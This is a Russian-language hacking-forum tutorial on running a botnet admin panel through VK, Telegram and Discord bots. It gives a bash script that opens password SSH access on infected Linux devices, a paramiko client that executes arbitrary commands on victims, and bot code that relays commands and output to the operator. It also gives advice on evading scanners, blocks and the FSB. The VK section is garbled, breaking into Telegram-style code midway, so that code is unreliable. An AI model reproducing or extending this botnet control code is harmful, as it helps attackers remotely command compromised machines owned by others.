Привет античат , представим вот такую ситуацию : у вас есть собственный сервер, к которому постоянно подключаться различные взломанные устройства, а физический доступ к серверу отсутствует, разумеется в таком случае просто необходима админ панель или хотя-бы доступ по ssh.
Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)
Однако это не лучший вариант и у меня есть аргументы :
1. Уязвимость перед exploit'ами
(вы только взгляните на это и на это)
2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами
Поэтому я предлагаю альтернативу - использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos'а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.
Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже сайт где их сливают =0
Однако есть свои минусы :
1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.
2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0
3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.
И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку paramiko (либа для работы с ssh).
Архитектура ботнета будет иметь следующий вид:
victim = server
attacker = client
attacker => victim
Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.
Пишем сервер :
В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения
Bash:
Код:
#!/bin/bash
apt
install
openssh -y
systemctl start
ssh
#это запустит ssh сервер на 22 порту(по умолчанию) , к которому наш взломщик (клиент) будет подключаться и отправлять команды
##и да в конфиге(~/.ssh/config, /etc/ssh/sshd_config) необходимо расскоментировать эту строку: PasswordAuthentication yes
##это если на сервере стоит openssh
##также можно заранее создать конфиг и копировать в выше указанные файлы
Клиент :
Устанавливаем python3
Устанавливаем paramiko
Код:
pip3 install paramiko
Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код
Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko:
Код:
apt install python3 && pip3 install paramiko
4. Текущий функционал - проверка онлайна и отправка комманд по ssh
Python:
Код:
import
paramiko
#импорт paramiko для ssh
host
=
"localhost"
#обозначение переменных для аутентификации
user
=
"user"
#вы можете создать нового юзера прямо в шелл скрипте описанном выше
mypass
=
"toor"
#но я решил не заморачиваться и взять логины которые уже были в системе
port
=
22
#данный порт дефолтный практически для всех ssh приложений
def
interact
(
comandd
)
:
#функция для отправки сообщений
client
=
paramiko
.
SSHClient
(
)
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
(
)
)
#добавляем localhost в список известных хостов
client
.
connect
(
hostname
=
host
,
username
=
user
,
password
=
mypass
,
port
=
port
)
#подключаемся :)
stdin
,
stdout
,
stderr
=
client
.
exec_command
(
comandd
)
#это наша команда
outputt
=
stdout
.
read
(
)
+
stderr
.
read
(
)
##смотрим что нам отвечает хост и помечаем это как outputt
f
=
open
(
"output.txt"
,
"w"
)
##открываем файл для записи в него нашего outputt
f
.
write
(
outputt
.
decode
(
"utf-8"
)
)
##заносим outputt в txt файл, который будем считывать в боте попутно декодируя текст из байт в привычный utf-8
f
.
close
(
)
client
.
close
(
)
def
checkconnection
(
)
:
#функция для проверки подключения
client
=
paramiko
.
SSHClient
(
)
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
(
)
)
#добавляем localhost в список известных хостов
client
.
connect
(
hostname
=
host
,
username
=
user
,
password
=
mypass
,
port
=
port
)
#подключаемся :)
client
.
close
(
)
#и отключаемся :)
данный код именуем client.py и размещаем в одну папку с вашим будующим ботом
Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord
Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить
И так начнём с
вк
Установим либу vk_api
В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :
1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт "работа с API"
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем
Кодим бота:
(документация vk_api)
Python:
Код:
#coding: utf8
import
client
#импорт клиента для бот сети
import
random
import
vk_api
#импортируем библиотеки для вк
from
vk_api
.
longpoll
import
VkLongPoll
,
VkEventType
def
write_msg
(
user_id
,
message
)
:
#функция которая будет вызываться при отправке сообщений
randomid
=
random
.
randint
(
10
,
99999
)
##вк для отправки требует рандомное число, каждый раз, неясно зачем
vk
.
method
(
'messages.send'
,
{
'user_id'
:
user_id
,
'message'
:
message
,
'random_id'
:
randomid
}
)
token
=
"ТУТ-ВАШ-ТОКЕН"
#немного действий для верификации
vk
=
vk_api
.
VkApi
(
token
=
token
)
longpoll
=
VkLongPoll
(
vk
)
print
(
"bot is work!"
)
def
main
(
)
:
for
event
in
longpoll
.
listen
(
)
:
#ждем новых сообщений
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
:
#если они появляються начинаем действовать
write_msg
(
event
.
user_id
,
"please, enter password!"
)
#просим pass
for
event
in
longpoll
.
listen
(
)
:
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
and
event
.
text
==
(
"IMAROOT"
)
:
#проверям pass
write_msg
(
event
.
user_id
,
"welcome to botnet admin panel"
)
try
:
#проверяем подключение с хостом
client
.
checkconnection
(
)
write_msg
(
event
.
user_id
,
"1 host is online, start interacting with him?(Yes/No)"
)
for
event
in
longpoll
.
listen
(
)
:
#спрашиваем хочет ли юзер взаимодействовать с ним
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
:
if
event
.
text
==
(
"Yes"
)
:
write_msg
(
event
.
user_id
,
"start interacting with host1..."
)
write_msg
(
event
.
user_id
,
"print => (exit) = (exit) <= to close connect with host 1"
)
bot
.
send_message
(
message
.
from_user
.
id
,
"enter something to host!"
)
bot
.
register_next_step_handler
(
message
,
hostinteract
)
#если согласен, то начинаем взаимодействие
elif
message
.
text
==
(
"No"
)
:
bot
.
send_message
(
message
.
from_user
.
id
,
"okay"
)
bot
.
send_message
(
message
.
from_user
.
id
,
"exit from admin panel..."
)
def
hostinteract
(
message
)
:
#функция для взаимодействия с хостом
if
message
.
text
==
(
"exit"
)
:
#если юзер хочет выйти, даем ему это сделать
bot
.
send_message
(
message
.
from_user
.
id
,
"stopping interact with host 1..."
)
else
:
#если нет, то:
commandd
=
message
.
text
client
.
interact
(
commandd
)
#передаем хосту месседж клиента
f
=
open
(
"output.txt"
,
"r"
)
#открываем файл с outputt
output
=
f
.
read
(
)
#считываем outputt
f
.
close
(
)
#закрываем файл с outputt
bot
.
send_message
(
message
.
from_user
.
id
,
output
)
#отсылаем outputt юзеру
bot
.
register_next_step_handler
(
message
,
hostinteract
)
#снова запускаем эту функцию
bot
.
polling
(
none_stop
=
True
,
interval
=
0
)
##постаянная проверка на наличие новых сообщений боту
Хоть теллеграмм и имеет статус "надежного" мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы
И последним на очереди у нас
discord
Важно: discord api для python работает только на следующих версиях пайтона: 3.4.3-3.6.6
(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)
Лично я решил выбрал python3.5
Код:
apt install python3.5
Установим discord_api и paramiko для этой версии пайтона
Код:
python3.5 -m pip install discord.py paramiko
Также discord требует asyncio
Код:
python3.5 -m pip install asyncio
В дискорде чтобы зарегестрировать бота необходимо создать еще и отдельный discord-сервер, благо это делаеться за несколько секунд
Сама регистрация бота здесь сложнее чем в вк и телеграмме
Теперь приступаем к написанию бота :
Python:
Код:
import
discord
#импортируем либы для дискорда
import
asyncio
#импорт либ для ассинхронных сообщений
import
clienteres
#импортируем клиент для ботнета, я его переименовал дабы избежать ошибок
TOKEN
=
(
"ТУТ_ВАШ_ТОКЕН"
)
#авторизуемся с токеном
client
=
discord
.
Client
(
)
#help справка
helpbot
=
(
"""
aviable next commands:
|---------------------------------------------------------|
|!help | get this help |
|!home | get info about botnet |
|!login | login to admin panel |
|!session | start interact with host |
|---------------------------------------------------------|
"""
)
f
=
open
(
"check.txt"
,
"w"
)
#создаем файл для бд логинов
f
.
close
(
)
@client.event
async
def
on_message
(
message
)
:
#ждем сообщений
if
message
.
author
!=
client
.
user
:
#проверяем что автор сообщения это не бот
if
message
.
content
==
(
"!help"
)
:
#выдаем справку (help)
await
message
.
channel
.
send
(
helpbot
)
if
message
.
content
==
(
"!home"
)
:
#функция для проверки онлайна
f
=
open
(
"check.txt"
,
"r"
)
#открываем файл с логинами авторизованных юзеров
check
=
f
.
read
(
)
f
.
close
(
)
if
str
(
message
.
author
)
in
str
(
check
)
:
#если логин этого пользователя там есть, то разрешаем пользование
await
message
.
channel
.
send
(
"welcome to admin botnet panel!"
)
try
:
clienteres
.
checkconnection
(
)
#предупреждаем если хосты онлайн
await
message
.
channel
.
send
(
""" host is online!! to connect with him enter "!session" """
)
except
clienteres
.
paramiko
.
ssh_exception
.
NoValidConnectionsError
:
##предупреждаем если все хосты офф
await
message
.
channel
.
send
(
"all hosts is offline!! please try later!"
)
else
:
#если юзер не залогинен, то просим залогиниться
await
message
.
channel
.
send
(
"Please login with command !login "
)
if
message
.
content
==
(
"!login"
)
:
#функция для авторизации
await
message
.
channel
.
send
(
"Please enter password!"
)
if
message
.
content
==
(
"IMAROOT"
)
:
#если пароль правильный
f
=
open
(
"check.txt"
,
"w"
)
#заносим никнейм пользователя в нашу мини бд
f
.
write
(
str
(
message
.
author
)
)
f
.
close
(
)
await
message
.
channel
.
send
(
"You succesfull login! Now you can use all options!"
)
if
message
.
content
==
(
"!session"
)
:
#функция для взаимодействия с хостом
f
=
open
(
"check.txt"
,
"r"
)
#чекаем есть ли логин юзера в нашей мини бд
check
=
f
.
read
(
)
f
.
close
(
)
if
str
(
message
.
author
)
not
in
check
:
#если нет просим залогиниться
await
message
.
channel
.
send
(
"Please login use !login"
)
else
:
#если логин есть, то пропускаем к сессии
try
:
clienteres
.
checkconnection
(
)
#проверям коннект
await
message
.
channel
.
send
(
"Start interacting with host 1"
)
await
message
.
channel
.
send
(
""" Enter "exit" to close session """
)
@client.event
async
def
on_message
(
message
)
:
#функция отправки сообщений для хоста и отсылкой ответов
if
message
.
author
!=
client
.
user
:
if
message
.
content
==
(
"exit"
)
:
#exit для выхода
await
message
.
channel
.
send
(
"You exit from admin panel..."
)
else
:
comandd
=
message
.
content
clienteres
.
interact
(
comandd
)
#передаем команду хосту
f
=
open
(
"output.txt"
,
"r"
)
#смотрим output
output
=
f
.
read
(
)
f
.
close
(
)
await
message
.
channel
.
send
(
output
)
#отсылаем output
except
clienteres
.
paramiko
.
ssh_exception
.
NoValidConnectionsError
:
#если коннекта нет , так и пишем
await
message
.
channel
.
send
(
"Host is offline! Please try later!"
)
commandss
=
[
"!help"
,
"!home"
,
"!login"
,
"!session"
,
"IMAROOT"
]
if
message
.
content
not
in
commandss
:
await
message
.
channel
.
send
(
"Enter !help to more information"
)
client
.
run
(
TOKEN
)
#запускаем бота!
print
(
"bot is work!"
)
На мой взгляд использовать бота для подобных целей, очень практично, разумееться если заранее найти подходящий месенджер.
Что-ж, на этом все, спасибо за внимание